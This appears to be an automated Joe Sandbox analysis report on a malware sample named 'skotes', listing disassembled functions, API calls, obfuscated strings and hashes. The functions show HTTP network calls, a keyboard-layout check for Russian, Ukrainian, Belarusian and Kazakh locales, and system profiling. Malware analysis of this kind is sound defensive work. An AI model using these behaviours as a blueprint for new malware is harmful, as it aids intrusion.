Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1w$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-1233009828
Opcode ID: bae8634bd4c6fa8edc7f74ad2ad071a63d232a47038574b044b7643cec6a6bbd
Instruction ID: dc9c6d8ed0f78a939753a3b3a442a93f69658b1a4988901a0bbf0a36472b0a29
Opcode Fuzzy Hash: bae8634bd4c6fa8edc7f74ad2ad071a63d232a47038574b044b7643cec6a6bbd
Instruction Fuzzy Hash: 0F82C270A04288DBEF14EF68C94A7DE7BB6EB45304F508598E805673C2D77D5A88CBD2

Function 0071EB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0071EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0071EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0071ED98

Strings

FCQgKF==, xrefs: 0071FEE4
#, xrefs: 00720624
111, xrefs: 0071F7A0
mxo1L0x, xrefs: 0071EE84
stoi argument out of range, xrefs: 007208C4
246122658369, xrefs: 0071F737, 0071FA14, 0071FE00, 007205E7
WDw=, xrefs: 0071F71D, 0071F9FA, 0071FDE3
FisgLnsCZO1i, xrefs: 0071FF19
WTs=, xrefs: 007205CA
GiQaT29tduF=, xrefs: 0071FEB6
L1w, xrefs: 0071F7E5
UA==, xrefs: 0071EC41, 0071ED56, 0071EF89, 0071F2CE
invalid stoi argument, xrefs: 007208B0
9c9aa5, xrefs: 0071FB8E

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1w$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-466694542
Opcode ID: 6bd623b6d38bad790b49c0bc943d3664beba2584e16e04cc889a322ee6b87b36
Instruction ID: 065d397b88de276606d8c7949deb8512f2e8f6c7b70edb8bbcbc08d4faccdfcc
Opcode Fuzzy Hash: 6bd623b6d38bad790b49c0bc943d3664beba2584e16e04cc889a322ee6b87b36
Instruction Fuzzy Hash: BFF22871A00158DBEB18DB38DD897DDBB72AB81304F14819CE449A73D7EB3D9AC48B91

Function 0071BE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,3936CCF5,?,00000000), ref: 0071BEB8
InternetOpenW.WININET(00768DC8,00000000,00000000,00000000,00000000), ref: 0071BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0071BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0071BF35
HttpSendRequestA.WININET(?,00000000), ref: 0071BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0071C0A8
InternetCloseHandle.WININET(?), ref: 0071C187
InternetCloseHandle.WININET(?), ref: 0071C18F
InternetCloseHandle.WININET(?), ref: 0071C197

Strings

stoi argument out of range, xrefs: 0071E4EA
8HJUeIfzLo==, xrefs: 0071C3CB, 0071C623
8HJUeMD Lq5=, xrefs: 0071C465
RE1NXF==, xrefs: 0071BF0E
invalid stoi argument, xrefs: 0071E4F4

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: fb426ae46ebb5125bab5c424141f6de05ec34845b1dd791dd488c32caf65d7a4
Instruction ID: 4239e8664a98023d70b51516f94e099e2b35461aa890fd5f8b8c38c80c3d4bd9
Opcode Fuzzy Hash: fb426ae46ebb5125bab5c424141f6de05ec34845b1dd791dd488c32caf65d7a4
Instruction Fuzzy Hash: E5B1E3B1A00118DBDB29CF68CC89BEDBB79EF45304F508199F509972C2DB789AC0CB95

Function 00716020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0071617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00716271

Strings

0000043f, xrefs: 0071612B
00000423, xrefs: 007160FA
00000422, xrefs: 007160C9
Keyboard Layout\Preload, xrefs: 00716054
00000419, xrefs: 00716098

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 9ad2e3201c05b6f12812867118a08eb13daa28aad24620db0e2ade329f416309
Instruction ID: 69f655819fc672c5afafa46fae1ba707100e7d09429b96300e33ed88a449170e
Opcode Fuzzy Hash: 9ad2e3201c05b6f12812867118a08eb13daa28aad24620db0e2ade329f416309
Instruction Fuzzy Hash: F5B19F719001689BDB24DB58CC89BDEB779AF04340F5442D8E508E72D2DB78AFE88F95

Function 00717D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00717ED3

Strings

JjsrPl==, xrefs: 0071828A
JjssPV==, xrefs: 007181E2
JjsrQV==, xrefs: 00718092
JjssOl==, xrefs: 0071813A

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 63885833e4f40c8d6138841685561b85ea41f2d252ccd07c9062136f8b8c4c4c
Instruction ID: 70b7064abc8a417764801c224d2d5707fa5970eeee402ed0c94ff583d1884a13
Opcode Fuzzy Hash: 63885833e4f40c8d6138841685561b85ea41f2d252ccd07c9062136f8b8c4c4c
Instruction Fuzzy Hash: 80E1E570E00654DBDB19BB2C9D4B3ED7A71AB81720F944288E429673C2DB3D4EC58BD2

Function 00751ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00751775: CreateFileW.KERNEL32(00000000,00000000,?,00751B65,?,?,00000000,?,00751B65,00000000,0000000C), ref: 00751792

__dosmaperr.LIBCMT ref: 00751BD7
GetFileType.KERNEL32(00000000), ref: 00751BE3
__dosmaperr.LIBCMT ref: 00751BF6
__dosmaperr.LIBCMT ref: 00751D9C

Strings

H, xrefs: 00751D21

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
